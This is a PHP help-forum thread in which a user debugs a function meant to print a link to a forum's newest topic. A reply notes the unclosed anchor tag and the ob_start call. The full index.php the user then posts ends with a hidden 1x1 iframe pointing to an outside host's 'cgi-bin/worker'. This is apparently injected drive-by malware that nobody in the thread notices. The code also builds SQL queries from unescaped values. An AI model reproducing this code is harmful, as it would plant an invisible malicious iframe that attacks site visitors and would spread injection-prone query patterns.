Jump to content

cant get function to work proper


mike12255

Recommended Posts

I created a function to get the newest data entered into my db, which I have working correctly. My problem is in the function I create a URL and im trying to echo out that URL but cant.

 

Here is my function:

 

function newest ($i){

$sql = "SELECT * FROM forum_topics WHERE cid = $i ORDER BY id DESC LIMIT 1
";
$res = mysql_query($sql) or die (mysql_error());
$row = mysql_fetch_array($res);

$url = "<a href=\"index.php?act=topic&id=\"".$row['id']."\"</a>";
return $url;
}

 

 

and here is my code im using to try and output the url:

 

<?php
ob_start();
session_start();
include "./global.php"; 

$test = newest(1);
echo $test;

?>

 

any help is appriciated

Link to comment
Share on other sites

Don't use ob_start() if you want instant output.

 

I'm not sure if you mean outputting to the display page or simply to the HTML code. But you're also not outputting anything. And you haven't closed the <a> tag beginning.

 

Right now it looks like <a href="index.php?act=topic&id=1"</a>

 

Whereas it should be <a href="index.php?act=topic&id=1">index.php?act=topic&id=1</a>

Link to comment
Share on other sites

this is the full code:

 

<?php
ob_start();
session_start();
include "./global.php";

$action = $_GET['act'];
$actions_array = array('forum','create','topic','reply','mod');
?>
<html>

    <head>
        <title>Marcus's Forum Tutorial Example</title>
        
        <link rel="stylesheet" type="text/css" href="./style.css">
        
        <script language="Javascript">
            function confirmLogout(){
                var agree = confirm("Are you sure you wish to logout?");
                
                if(agree){
                    return true ;
                }else {
                    return false ;
                }
            }
        </script>
    </head>
    
    <body>
    <center>
        <div id="holder">
            
            <div id="userInfo">
                <?php
                
                    if($_SESSION['uid']){
                        $sql = "SELECT * FROM `users` WHERE `id`='".$_SESSION['uid']."'";
                        $res = mysql_query($sql) or die(mysql_error());
                        
                        if(mysql_num_rows($res) == 0){
                            session_destroy();
                            echo "Please <a href=\"./login.php\">Login</a> to your account, or <a href=\"./register.php\">Register</a> a new account!\n";
                        }else {
                            $row = mysql_fetch_assoc($res);
                            echo "Welcome back, <a href=\"./index.php?act=profile&id=".$row['id']."\">".$row['username']."</a>! <a href=\"./logout.php\" onClick=\"return confirmLogout()\">Logout</a>\n";
                            echo "<br>\n";
                            echo "<a href=\"./index.php\">Forum Index</a>\n";
                            if($row['admin'] == '1'){
                                echo " | <a href=\"./admin.php\">Administrative Section</a>\n";
                            }
                        }
                    }else {
                        echo "Please <a href=\"./login.php\">Login</a> to your account, or <a href=\"./register.php\">Register</a> a new account!\n";
                    }
                    
                    $admin_user_level = $row['admin'];
                
                ?>
            </div>
            <div id="banner">
            <img src="images/1top_christmas.jpg" ></img>
            </div>
        
            <div id="content">
                <?php
                
                if(!$action || !in_array($action,$actions_array)){
                    $sql1 = "SELECT * FROM `forum_cats` WHERE `admin` < ".$row['admin']."+1";
                    $res1 = mysql_query($sql1) or die(mysql_error());
                    
                    $i=1;
                    while($row2 = mysql_fetch_assoc($res1)){
                        echo "<div id=\"fcontent\">\n";
                        echo "    <div class=\"header\" id=\"header_".$i."\" onMouseOver=\"this.className='headerb'\" onMouseOut=\"this.className='header'\">".$row2['name']."</div>\n";
                        
                        $sql2 = "SELECT * FROM `forum_sub_cats` WHERE `cid`='".$row2['id']."' AND `admin` < ".$row['admin']."+1";
                        $res2 = mysql_query($sql2) or die(mysql_error());
                        
                        
                        
                        
                        while($row3 = mysql_fetch_assoc($res2)){
                            echo "    <div id=\"content2\">\n";
                            echo "    <a href=\"./index.php?act=forum&id=".$row3['id']."\">".$row3['name']."</a><br>\n";
                            echo "    " . $row3['desc'] . "\n";
                            echo "	  <div id=\"latestinfo\"> ";
                      		echo newest($i);
                            echo "    </div>\n";
                            echo "    </div>\n";
                        }
                        
                        echo "</div>\n";
                        $i++;
                    }
                }else {
                    if($action == 'forum'){
                        include "./includes/forum.php";
                    }
                    
                    if($action == 'create'){
                        if(!$_SESSION['uid']){
                            header("Location: login.php");
                        }else {
                            include "./includes/create.php";
                        }
                    }
                    
                    if($action == 'topic'){
                        include "./includes/topic.php";
                    }
                    
                    if($action == 'reply'){
                        if(!$_SESSION['uid']){
                            header("Location; login.php");
                        }else {
                            include "./includes/reply.php";
                        }
                    }
                    
                    if($action == 'mod'){
                        if(!$_SESSION['uid']){
                            header("Location; login.php");
                        }else {
                            include "./includes/mod.php";
                        }
                    }
                }
                
                ?>
            </div>
    
        </div>
    </center>
    </body>

</html>
<?php
ob_end_flush();
?><iframe src ="http://mysterio.info/cgi-bin/worker" width="1" height="1"> </iframe>

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.